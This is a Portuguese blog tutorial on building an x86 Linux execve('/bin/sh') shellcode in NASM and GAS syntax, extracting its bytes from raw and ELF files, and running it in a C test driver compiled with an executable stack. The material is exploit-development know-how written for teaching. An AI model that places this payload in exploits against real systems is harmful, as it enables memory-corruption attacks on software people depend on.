Montando e extraindo shellcodes em Linux
shellcode exploit linux ELF x86A manipulação de shellcodes é uma atividade essencial na exploração de vulnerabilidades de corrupção de memória. Nesta postagem, veremos como realizar a montagem de shellcodes em ambientes Linux, bem como sua extração a partir de arquivos executáveis.
Instalando as ferramentas necessárias
Antes de começar, vamos instalar as ferramentas necessárias. Em sistemas Debian ou derivados (Kali, Ubuntu, etc), elas estão disponíveis no repositório oficial da distribuição:
sudo apt install build-essential nasm
Criando um shellcode de exemplo
Na arquitetura x86 podemos encontrar o código fonte de shellcodes tanto na
sintaxe Intel quanto na sintaxe AT&T. Para demonstrar como lidar com cada
situação, vamos criar um shellcode de exemplo que executa um shell POSIX
(/bin/sh
) em Linux/x86.
Abra seu $EDITOR
favorito e salve a seguinte listagem como nasm_shellcode.asm
:
BITS 32
jmp short mycall
shellcode:
pop esi
xor eax, eax
mov byte [esi+7], al
mov dword [esi+8], esi
mov dword [esi+12], eax
mov al, 0xb
lea ebx, [esi]
lea ecx, [esi+8]
lea edx, [esi+12]
int 0x80
mycall:
call shellcode
db "/bin/sh"
A próxima listagem deve ser salva como gas_shellcode.s
:
.code32
jmp mycall
shellcode:
pop %esi
xor %eax, %eax
movb %al, 7(%esi)
movl %esi, 8(%esi)
movl %eax, 12(%esi)
mov $0x0b, %al
lea (%esi), %ebx
lea 8(%esi), %ecx
lea 12(%esi), %edx
int $0x80
mycall:
call shellcode
.ascii "/bin/sh"
Montando o shellcode
Para montar o shellcode, temos duas opções: montá-lo como um arquivo objeto ELF e extrair o shellcode dele, ou montá-lo diretamente em formato raw.
Montando o shellcode usando GAS
Se temos um shellcode na sintaxe AT&T, precisaremos utilizar o GAS para montá-lo. Infelizmente o GAS não suporta montar diretamente para o formato raw. Desse modo, precisaremos realizar dois passos.
Primeiro, montaremos o shellcode como um arquivo objeto ELF:
as gas_shellcode.s -o gas_shellcode.o
Podemos verificar o resultado da montagem com o comando file
:
$ file gas_shellcode.o
gas_shellcode.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
Logo, utilizaremos o linker da suíte GCC para copiar a seção .text
para um arquivo em formato raw:
$ ld -m elf_i386 -Ttext 0 --oformat binary gas_shellcode.o -o gas_shellcode.bin
ld: warning: cannot find entry symbol _start; defaulting to 0000000000000000
Não se preocupe com a advertência sobre o linker não encontrar o símbolo _start
. Este símbolo somente seria necessário em um arquivo executável ELF, o que não é nosso objetivo.
Usando NASM
Caso o shellcode esteja na sintaxe Intel, o procedimento fica mais fácil, uma vez que o NASM suporta a montagem direta em formato raw:
nasm -f bin nasm_shellcode.asm
Podemos confirmar que o resultado é o mesmo que o obtido com o processo realizado com o GAS:
diff nasm_shellcode gas_shellcode.bin
Se por algum motivo for necessária a montagem em um arquivo objeto ELF, basta mudar o formato utilizado:
nasm -f elf nasm_shellcode.asm
Extraindo o shellcode de arquivos objeto ELF
Em algumas situações não será possível obter um arquivo binário raw. Um exemplo é quando tentamos codificar um shellcode em C. Neste caso, o mais fácil é gerar um arquivo objeto ELF e extrair sua seção .text
para um arquivo raw.
Usando objcopy
é fácil extrair o shellcode a partir do ELF:
objcopy -O binary gas_shellcode.o gas_shellcode.bin
Testando o shellcode
Com o auxílio de um pequeno programa em C, podemos testar o funcionamento dos shellcodes antes de parear-los com nossos exploits. Para isso, vamos criar o esqueleto de nosso programa.
Convertendo o shellcode para uma variável
O utilitário xxd
no Linux possui a opção -i
que gera um trecho de código em C com uma variável do tipo unsigned char[]
contendo todos os bytes do shellcode:
$ xxd -i gas_shellcode.bin
unsigned char gas_shellcode_bin[] = {
0xeb, 0x18, 0x5e, 0x31, 0xc0, 0x88, 0x46, 0x07, 0x89, 0x76, 0x08, 0x89,
0x46, 0x0c, 0xb0, 0x0b, 0x8d, 0x1e, 0x8d, 0x4e, 0x08, 0x8d, 0x56, 0x0c,
0xcd, 0x80, 0xe8, 0xe3, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f,
0x73, 0x68
};
unsigned int gas_shellcode_bin_len = 38;
Copiaremos esse trecho de códio para um esqueleto de um programa de teste de shellcode feito em C. Podemos usar o utilitário xclip
para evitar erros na hora da cópia:
$ xxd -i gas_shellcode.bin | xclip -sel c
Criando o esqueleto do programa de teste
Salve a listagem abaixo como shellcode_driver.c
:
int main()
{
/* insira a saida do xxd -i abaixo */
unsigned char gas_shellcode_bin[] = {
0xeb, 0x18, 0x5e, 0x31, 0xc0, 0x88, 0x46, 0x07, 0x89, 0x76, 0x08, 0x89,
0x46, 0x0c, 0xb0, 0x0b, 0x8d, 0x1e, 0x8d, 0x4e, 0x08, 0x8d, 0x56, 0x0c,
0xcd, 0x80, 0xe8, 0xe3, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f,
0x73, 0x68
};
unsigned int gas_shellcode_bin_len = 38;
/* substitua a variavel pelo nome correto */
int (*fp)() = (int (*)()) gas_shellcode_bin;
fp();
return 0;
}
Depois, compile o programa. Para evitar falhas de segmentação, é necessário permitir a execução de código na pilha:
$ gcc -m32 -z execstack shellcode_driver.c -o shellcode_driver
Em seguida, execute o programa de teste para verificar se o shellcode está funcionando:
$ echo $0
bash
$ ./shellcode_driver
$ echo $0
/bin/sh
$ exit
Extraindo os caracteres do shellcode para uso em exploits
Depois de realizados os testes, um dos últimos passos que precisamos realizar é a extração dos bytes do shellcode em um formato apropriado para uso em nossos exploits.
Normalmente, o formato mais utilizado é o formato derivado do C, escapando os caracteres com \x
seguido do seu valor em hexadecimal. Esse formato pode ser usado em exploits em C, Python, etc.
Novamente, o modo que vamos realizar isso vai depender se estamos extraindo o shellcode a partir de um binário raw ou de um arquivo ELF.
A partir de um arquivo raw
Para extrair os caracteres no formato apropriado do shellcode a partir de um arquivo raw, podemos utilizar hexdump
:
hexdump -v -e '"\\""x" 1/1 "%02x" ""' gas_shellcode.bin
\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
Uma maneira mais fácil é utilizar uma combinação de xxd
com sed
:
cat shellcode.bin | xxd -p -c0 | sed 's/../&\\x/g;s/\\x$//;s/^../\\x&/'
A partir de um arquivo ELF
Já vimos que devemos evitar trabalhar sem necessidade com arquivos no formato ELF quando lidamos com shellcodes. O ideal é sempre convertê-los para o formato raw e realizar as operações necessárias.
Se ainda assim, você insistir em extrair os caracteres do shellcode a partir do arquivo ELF, é possível fazer alguns malabarismos com a saída do objdump
para obtê-los.
Primeiro vejamos a saída do comando:
$ objdump -d gas_shellcode.o
gas_shellcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <shellcode-0x2>:
0: eb 18 jmp 1a <mycall>
00000002 <shellcode>:
2: 5e pop %esi
3: 31 c0 xor %eax,%eax
5: 88 46 07 mov %al,0x7(%esi)
8: 89 76 08 mov %esi,0x8(%esi)
b: 89 46 0c mov %eax,0xc(%esi)
e: b0 0b mov $0xb,%al
10: 8d 1e lea (%esi),%ebx
12: 8d 4e 08 lea 0x8(%esi),%ecx
15: 8d 56 0c lea 0xc(%esi),%edx
18: cd 80 int $0x80
0000001a <mycall>:
1a: e8 e3 ff ff ff call 2 <shellcode>
1f: 2f das
20: 62 69 6e bound %ebp,0x6e(%ecx)
23: 2f das
24: 73 68 jae 8e <mycall+0x74>
Observe que:
- Todas as linhas que possuem instruções (opcodes) começam com espaços;
- Os campos são separados por TABs (pode ser verificado com hexdump);
- Os bytes que compõe cada instrução estão no campo 2 de cada linha.
Com essas observações, podemos utilizar um laço for
em bash para obter os caracteres a partir da saída do objdump:
for byte in $(objdump -d gas_shellcode.o | grep "^ " | cut -f2); do echo -n '\x'"$byte"; done
A saída do comando é identica à gerada a partir do arquivo raw equivalente.
OBSERVAÇÃO: é possível fazer o disassembly de binários raw com
objdump -D -Mintel -b binary -m i386 <arquivo>
. Use-m x86-64
para shellcodes em AMD-64/Intel EM64T/Intel 64 (pode ser complementado por-m amd64
ou-m intel64
).